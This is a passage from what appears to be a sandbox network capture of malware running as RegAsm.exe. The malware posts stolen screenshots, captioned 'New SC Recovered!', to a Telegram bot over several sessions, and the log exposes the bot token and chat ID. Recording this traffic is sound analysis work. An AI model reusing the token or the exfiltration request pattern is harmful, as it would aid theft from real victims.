\(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:43:05 UTC	1165	OUT	Data Raw: a8 ac 1a 2a 65 15 25 66 44 e0 a6 ac cf 4c d3 75 3b bb 96 da f7 9b 60 41 97 90 ed 07 1e 9b ba fe b5 95 e2 af 13 c1 25 ab d8 58 48 24 32 0c 49 22 f4 03 d0 7a d7 11 45 72 3c 1a 9d 55 52 a3 bd b6 46 d4 a6 e9 53 70 5d 7a 85 14 51 5d c4 05 6b e9 1a a2 c0 9f 67 9c e1 3f 85 bd 3d a9 90 f8 73 57 9e 14 9a 3b 4d d1 c8 a1 94 f9 88 32 0f 23 bd 3f fe 11 7d 6b fe 7c bf f2 2a 7f 8d 29 53 72 56 68 ce 7c 92 56 6c eb f4 cd 52 f2 66 48 62 bb 1e 5f f7 f0 a4 aa fb 31 e4 54 7e 22 f1 45 b5 a5 a3 db 59 4c 26 b9 60 57 72 9c 84 f7 cf 73 5c a7 fc 22 fa d7 fc f9 7f e4 54 ff 00 1a 3f e1 17 d6 bf e7 cb ff 00 22 a7 f8 d7 1c f0 0e ac d4 aa 36 d2 e8 6b 42 aa a3 17 14 f5 7d 4c 7a 2b 48 68 3a a3 00 45 af 07 9f be bf e3 59 f2 c6 f1 4a f1 48 30 e8 4a b0 f4 22 bb 5a 68 49 a6 36 8a 28 a0 61 45 Data Ascii: e%fDLu;`A%XH$2I"zEr<URFSp]zQ]kg?=sW;M2#?}k\|)SrVh\|VlRfHb_1T~"EYL&`Wrs\"T?"6kB}Lz+Hh:EYJH0J"ZhI6(aE
2024-05-24 05:43:05 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 38 39 33 31 61 35 64 30 31 30 38 2d 2d 0d 0a Data Ascii: -----------------------------8dc88931a5d0108--
2024-05-24 05:43:05 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:43:05 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49709	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:20 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc90cd1e5e4e83 Host: api.telegram.org Content-Length: 66751 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:43:21 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:43:21 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 30 63 64 31 65 35 65 34 65 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 30 63 64 31 65 35 65 34 65 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 32 30 2f 32 30 32 34 20 30 31 3a 35 32 3a 35 39 0a 55 73 65 72 Data Ascii: -----------------------------8dc90cd1e5e4e83Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dc90cd1e5e4e83Content-Disposition: form-data; name="caption"New SC Recovered!Time: 06/20/2024 01:52:59User
2024-05-24 05:43:21 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:43:21 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:43:21 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:43:21 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:43:21 UTC	1165	OUT	Data Raw: a8 ac 1a 2a 65 15 25 66 44 e0 a6 ac cf 4c d3 75 3b bb 96 da f7 9b 60 41 97 90 ed 07 1e 9b ba fe b5 95 e2 af 13 c1 25 ab d8 58 48 24 32 0c 49 22 f4 03 d0 7a d7 11 45 72 3c 1a 9d 55 52 a3 bd b6 46 d4 a6 e9 53 70 5d 7a 85 14 51 5d c4 05 6b e9 1a a2 c0 9f 67 9c e1 3f 85 bd 3d a9 90 f8 73 57 9e 14 9a 3b 4d d1 c8 a1 94 f9 88 32 0f 23 bd 3f fe 11 7d 6b fe 7c bf f2 2a 7f 8d 29 53 72 56 68 ce 7c 92 56 6c eb f4 cd 52 f2 66 48 62 bb 1e 5f f7 f0 a4 aa fb 31 e4 54 7e 22 f1 45 b5 a5 a3 db 59 4c 26 b9 60 57 72 9c 84 f7 cf 73 5c a7 fc 22 fa d7 fc f9 7f e4 54 ff 00 1a 3f e1 17 d6 bf e7 cb ff 00 22 a7 f8 d7 1c f0 0e ac d4 aa 36 d2 e8 6b 42 aa a3 17 14 f5 7d 4c 7a 2b 48 68 3a a3 00 45 af 07 9f be bf e3 59 f2 c6 f1 4a f1 48 30 e8 4a b0 f4 22 bb 5a 68 49 a6 36 8a 28 a0 61 45 Data Ascii: e%fDLu;`A%XH$2I"zEr<URFSp]zQ]kg?=sW;M2#?}k\|)SrVh\|VlRfHb_1T~"EYL&`Wrs\"T?"6kB}Lz+Hh:EYJH0J"ZhI6(aE
2024-05-24 05:43:21 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 30 63 64 31 65 35 65 34 65 38 33 2d 2d 0d 0a Data Ascii: -----------------------------8dc90cd1e5e4e83--
2024-05-24 05:43:21 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:43:21 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49710	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:37 UTC	238	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc9817b6b6812f Host: api.telegram.org Content-Length: 70703 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49711	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:38 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc9a12c02f0750 Host: api.telegram.org Content-Length: 70703 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:43:38 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:43:38 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 61 31 32 63 30 32 66 30 37 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 61 31 32 63 30 32 66 30 37 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 30 31 2f 32 30 32 34 20 32 31 3a 31 34 3a 30 38 0a 55 73 65 72 Data Ascii: -----------------------------8dc9a12c02f0750Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dc9a12c02f0750Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/01/2024 21:14:08User
2024-05-24 05:43:38 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:43:38 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:43:38 UTC	16355	OUT	Data Raw: 9f 13 ff 00 c8 df 71 fe e2 7f e8 22 bd 1a bc e7 c4 ff 00 f2 37 dc 7f b8 9f fa 08 ae ac 27 f1 51 c5 8e fe 03 2a d1 45 15 ee 9f 32 14 51 45 03 0a 28 a2 80 0a 4a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 00 94 51 45 30 0a 28 a4 a0 62 d2 51 45 00 14 51 45 00 14 94 b4 94 c6 14 51 45 00 14 51 49 40 0b 49 4b 49 40 05 14 51 4c 62 51 45 14 00 51 45 14 00 52 51 45 00 14 51 45 31 85 14 51 40 05 25 2d 25 00 28 ea 2b 4e 7f f5 c7 f0 fe 55 97 de b4 e6 ff 00 5a 7e 83 f9 56 52 dd 0d 6e 32 8a 29 33 41 42 d1 49 45 00 2d 25 14 50 01 45 14 53 18 52 52 d1 40 09 45 14 50 01 41 a2 8a 00 6c bf f1 ed 37 fb bf d6 ab d9 ff 00 ac 6f a5 58 97 fe 3d e6 ff 00 77 fa d5 7b 3f f5 8d f4 a6 b6 60 5a a2 8a 29 00 51 45 14 00 51 45 14 00 52 d2 51 40 c5 a2 92 8a 00 5a 29 28 a0 42 d1 45 14 00 51 Data Ascii: q"7'Q*E2QE(J(((QEQE0(bQEQEQEQI@IKI@QLbQEQERQEQE1Q@%-%(+NUZ~VRn2)3ABIE-%PESRR@EPAl7oX=w{?`Z)QEQERQ@Z)(BEQ
2024-05-24 05:43:38 UTC	15447	OUT	Data Raw: 4a 00 eb 28 a3 22 8c d4 1e 09 ab e1 df f8 ff 00 93 fe b9 1f e6 2b 7a e0 fe e5 bf 0f e7 5c d6 8f 77 1d ad e1 69 49 0a cb b7 3e 9c 8f f0 ad ad 52 e8 41 68 92 a8 0e 19 c0 18 3e c6 be 67 34 a3 52 78 94 a2 b7 5a 1f 53 95 56 a7 4f 0a dc 9e cf 51 e9 53 2f 23 07 91 58 6b ad 63 fe 5d ff 00 f1 ff 00 fe b5 48 35 ec 7f cb b7 fe 3f ff 00 d6 ae 25 95 e2 ff 00 93 f1 5f e6 76 3c d7 09 fc ff 00 83 ff 00 23 1e 93 8a 4a 2b ec cf 8a b0 b9 14 66 92 8a 00 5c d6 3d f7 17 ae 48 cf 4e bd f8 ad 7a 47 fb 8d f4 ae 6c 55 1f 6d 4e d7 b5 b5 37 c3 cf 92 7e ba 15 a6 f1 05 ec b7 96 97 2a 22 8b ec 83 6c 51 c6 08 40 3b f1 9e e3 8a a5 7d 74 fa 85 f4 97 0d 14 69 24 a7 25 62 04 02 7e 84 9e b5 eb b4 57 81 ca 7d 2b c3 37 bc 8c d9 b4 2d 32 7d 48 6a 32 db 6e ba 0c ae 24 de c3 95 c6 38 ce 3b 0a 4d Data Ascii: J("+z\wiI>RAh>g4RxZSVOQS/#Xkc]H5?%_v<#J+f\=HNzGlUmN7~*"lQ@;}ti$%b~W}+7-2}Hj2n$8;M
2024-05-24 05:43:38 UTC	5117	OUT	Data Raw: d4 bf bd f8 1d 75 25 72 54 51 f5 ef ee fe 3f f0 03 ea 7f de fc 0e b6 92 b9 3a 28 fa f7 f7 7f 1f f8 03 fa 9f f7 bf 03 ac a2 b9 3a 28 fa f7 f7 7f 1f f8 01 f5 3f ef 7e 07 57 45 72 94 51 f5 ef ee fe 3f f0 03 ea 7f de fc 0e a8 d1 5c ad 14 7d 7b fb bf 8f fc 01 fd 4f fb df 81 d5 52 57 2d 45 1f 5e fe ef e3 ff 00 00 3e a9 fd e3 a9 a4 ae 5a 8a 3e bd fd df c7 fe 00 7d 53 fb c7 53 49 5c bd 14 7d 7b fb bf 8f fc 01 fd 53 cc ea 28 ae 5e 8a 3e bd fd df c7 fe 00 7d 53 cc e9 e8 35 cc 00 49 c0 19 35 7e 4d 13 57 89 d1 24 d2 af 51 a4 ce c0 d6 ee 0b 60 64 e3 8e 78 a3 eb df dd fc 7f e0 07 d5 3c cd 8a 2b 9b 58 65 68 5e 65 89 cc 48 40 67 0a 76 a9 3d 01 3e f8 35 3d c6 9b 7f 6b 6e 97 17 36 37 30 c2 f8 db 24 91 32 ab 67 91 82 46 0d 1f 5e fe ef e3 ff 00 00 7f 55 f3 37 28 ae 66 8a 3e Data Ascii: u%rTQ?:(:(?~WErQ?\}{ORW-E^>Z>}SSI\}{S(^>}S5I5~MW$Q`dx<+Xeh^eH@gv=>5=kn670$2gF^U7(f>
2024-05-24 05:43:38 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 61 31 32 63 30 32 66 30 37 35 30 2d 2d 0d 0a Data Ascii: -----------------------------8dc9a12c02f0750--
2024-05-24 05:43:39 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:43:38 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49712	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:39 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc9c148a05a466 Host: api.telegram.org Content-Length: 66751 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:43:39 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:43:39 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 63 31 34 38 61 30 35 61 34 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 63 31 34 38 61 30 35 61 34 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 30 34 2f 32 30 32 34 20 31 30 3a 32 32 3a 30 30 0a 55 73 65 72 Data Ascii: -----------------------------8dc9c148a05a466Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dc9c148a05a466Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/04/2024 10:22:00User
2024-05-24 05:43:39 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:43:39 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:43:39 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 